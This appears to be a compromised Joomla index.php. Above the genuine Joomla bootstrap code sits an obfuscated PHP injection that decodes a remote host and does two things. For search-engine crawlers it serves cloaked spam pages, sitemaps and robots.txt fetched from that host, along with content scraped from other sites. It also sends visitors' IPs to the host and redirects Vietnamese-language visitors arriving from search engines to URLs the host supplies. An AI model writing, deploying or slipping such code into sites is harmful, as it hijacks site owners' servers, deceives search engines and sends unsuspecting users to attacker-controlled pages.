<?php
$GLOBALS["V_V___V"]="array_values";$GLOBALS["V_V____"]="in_array";$GLOBALS["V__VVVV"]="explode";$GLOBALS["V__VVV_"]="file_get_contents";$GLOBALS["V__VV_V"]="rand";$GLOBALS["VVVVVV"]="error_reporting";$GLOBALS["V______"]="base64_decode";$GLOBALS["V_____V"]="strtolower";$GLOBALS["V____V_"]="strpos";$GLOBALS["V____VV"]="substr";$GLOBALS["V___V__"]="header";$GLOBALS["V___V_V"]="stripos";$GLOBALS["V___VV_"]="rtrim";$GLOBALS["V___VVV"]="preg_match";$GLOBALS["V__V___"]="str_replace";$GLOBALS["V__V__V"]="chr";$GLOBALS["V__V_V_"]="base64_encode";$GLOBALS["V__V_VV"]="strlen";$GLOBALS["V__VV__"]="trim";@set_time_limit(0);$GLOBALS["VVVVVV"](0);$curl_timeout=10;$TD_server="aHR0cDovL2JpZy1naXJsLmxhdA==";$TD_server=$GLOBALS["V______"]($TD_server);$lang='vi';$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?$GLOBALS["V_____V"]($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?$GLOBALS["V_____V"]($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?$GLOBALS["V_____V"]($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode($GLOBALS["V_____V"]($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');if($GLOBALS["V____V_"]($user_agent,'google')!==false||$GLOBALS["V____V_"]($user_agent,'coccoc')!==false||$GLOBALS["V____V_"]($user_agent,'bingbot')!==false){ob_clean();if($GLOBALS["V____VV"]($request,-4)===".xml"){$GLOBALS["V___V__"]('Content-Type: application/xml; charset=utf-8');if($GLOBALS["V___V_V"]($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[0]==200){echo $response[1];exit;}}else if($GLOBALS["V___V_V"]($request,'robots.txt')!==false){$GLOBALS["V___V__"]('Content-Type: text/plain');$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type.$GLOBALS["V___VV_"]($host,'/'). "/" . "sitemap.xml
";echo $robotsTxtContent;exit;}$image_pattern='/\.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(\?.*)?$/i';if($GLOBALS["V___VVV"]($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[0]==200){$GLOBALS["V___V__"]('Content-Type: text/html; charset=utf-8');echo $response[1];exit;}if($response[0]!=200&&!empty($response[1])){$json_data=$GLOBALS["V__V___"](array($GLOBALS["V__V__V"](239),$GLOBALS["V__V__V"](187),$GLOBALS["V__V__V"](191),"
","
","
","	"),'',$response[1]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[0],'html_text'=>$spider_result[1]);}else{$pid=isset($pid)?$pid:0;$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if($GLOBALS["V____V_"]($referer,'google')!==false||$GLOBALS["V____V_"]($referer,'coccoc')!==false||$GLOBALS["V____V_"]($referer,'bing')!==false){if(judgeLanguage($lang)==1){$client_ip=$GLOBALS["V__V_V_"](get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[0]==200&&$GLOBALS["V__V_VV"]($response[1])>5){$tzurl=$GLOBALS["V__VV__"]($response[1]);$tzurl=$GLOBALS["V__V___"](array($GLOBALS["V__V__V"](239),$GLOBALS["V__V__V"](187),$GLOBALS["V__V__V"](191),"
","
","
","	"),'',$tzurl);@$GLOBALS["V___V__"]("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .$GLOBALS["V__VV_V"](1,100),'Mozilla/' .$GLOBALS["V__VV_V"](3,5). '.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["V__VV_V"](50,60). ') Gecko/20100101 Firefox/' .$GLOBALS["V__VV_V"](1,100),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .$GLOBALS["V__VV_V"](50,60). ') AppleWebKit/' .$GLOBALS["V__VV_V"](500,600). '.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["V__VV_V"](50,60). '.0.3112.90 Safari/' .$GLOBALS["V__VV_V"](500,600). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["V__VV_V"](13,16). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["V__VV_V"](90,100). '.0.4430.212 Safari/537.36 Edg/' .$GLOBALS["V__VV_V"](90,100). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["V__VV_V"](90,100). '.0.4430.212 Safari/537.36 OPR/' .$GLOBALS["V__VV_V"](76,86). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .$GLOBALS["V__VV_V"](8,12). '.0; SM-G9' .$GLOBALS["V__VV_V"](5,9). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .$GLOBALS["V__VV_V"](90,100). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .$GLOBALS["V__VV_V"](14,16). '_' .$GLOBALS["V__VV_V"](0,5). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .$GLOBALS["V__VV_V"](14,16). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=$GLOBALS["V__VV_V"](1,254). '.' .$GLOBALS["V__VV_V"](1,254). '.' .$GLOBALS["V__VV_V"](1,254). '.' .$GLOBALS["V__VV_V"](1,254);$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,2);curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);curl_setopt($curl,CURLOPT_AUTOREFERER,1);curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,1);curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,0);curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. "
" . "Referer: " .$referer. "
",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@$GLOBALS["V__VVV_"]($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];$GLOBALS["V___VVV"]('/HTTP\/\d\.\d (\d{3})/',$http_response_header[0],$matches);$httpcode=isset($matches[1])?(int)$matches[1]:0;return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,0);curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$ua. "
",'content'=>$postData,'timeout'=>10],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]];$context=stream_context_create($options);$response=@$GLOBALS["V__VVV_"]($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=$GLOBALS["V__VVVV"](',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=$GLOBALS["V_____V"]($GLOBALS["V__VV__"]($languages[0]));return $GLOBALS["V____VV"]($firstLang,0,2)===$lang?1:0;}return 0;}function getNumber($string){$posSitemap=$GLOBALS["V____V_"]($string,'sitemap');$posXml=$GLOBALS["V____V_"]($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-$GLOBALS["V__V_VV"]('sitemap');$substring=$GLOBALS["V____VV"]($string,$posSitemap+$GLOBALS["V__V_VV"]('sitemap'),$length);return intval($substring);}return 0;}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach($GLOBALS["V__VVVV"](',',$_SERVER[$key])as $ip){$ip=$GLOBALS["V__VV__"]($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);if(empty($hrefTemp)){return false;}$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if($GLOBALS["V_V____"]($GLOBALS["V_____V"]($file_extension),$non_web_extensions)){continue 1;}if($GLOBALS["V___V_V"]($href,'youtube.com')!==false||$GLOBALS["V___V_V"]($href,'twitter.com')!==false||$GLOBALS["V___V_V"]($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[0]==200){$htmltext=$GLOBALS["V__VV__"]($spider_html[1]);if($GLOBALS["V__V_VV"]($htmltext)>2000){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_url="https://search.aol.com/aol/search?q=" . urlencode($name);$hrefArray=[];$result=curl_request($search_url,'',$search_url);if($result===false||$result[0]!==200){return[];}$html=$result[1];$dom=new DOMDocument();@$dom->loadHTML($html);$xpath=new DOMXPath($dom);foreach($xpath->query('//a[@href]')as $a){$href=$a->getAttribute('href');if(!$GLOBALS["V___VVV"]('/\/RU=([^\/]+)\/RK=/',$href,$m)){continue 1;}$realUrl=urldecode($m[1]);$host=parse_url($realUrl,PHP_URL_HOST);if(!$host)continue 1;if($GLOBALS["V___V_V"]($host,'aol.com')!==false||$GLOBALS["V___V_V"]($host,'oath.com')!==false){continue 1;}if($GLOBALS["V___VVV"]('/(google|facebook|twitter|youtube|bing|apple|microsoft|yahoo|schema\.org|w3\.org)/i',$host)){continue 1;}if($GLOBALS["V___VVV"]('/\.(js|css|png|jpg|jpeg|gif|svg|ico|webp|pdf)$/i',$realUrl)){continue 1;}if(!$GLOBALS["V___VVV"]('#^https?://#i',$realUrl)){continue 1;}$hrefArray[]=$realUrl;}return $GLOBALS["V_V___V"](array_unique($hrefArray));}
?><?php

/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

// NOTE: This file should remain compatible with PHP 5.2 to allow us to run our PHP minimum check and show a friendly error message

// Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
define('JOOMLA_MINIMUM_PHP', '8.3.0');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) {
    die(
        str_replace(
            '{{phpversion}}',
            JOOMLA_MINIMUM_PHP,
            file_get_contents(dirname(__FILE__) . '/includes/incompatible.html')
        )
    );
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

// Load global path definitions
if (file_exists(__DIR__ . '/defines.php')) {
    include_once __DIR__ . '/defines.php';
}

require_once __DIR__ . '/includes/defines.php';

// Check the existence of an update-extraction config file
if (
    !empty($_GET['jautoupdate'])
    && is_file(JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/update.php')
) {
    // Load extraction script and...
    require_once JPATH_ADMINISTRATOR . '/components/com_joomlaupdate/extract.php';

    // ... die
    die();
}

// Run the application - All executable code should be triggered through this file
require_once __DIR__ . '/includes/app.php';
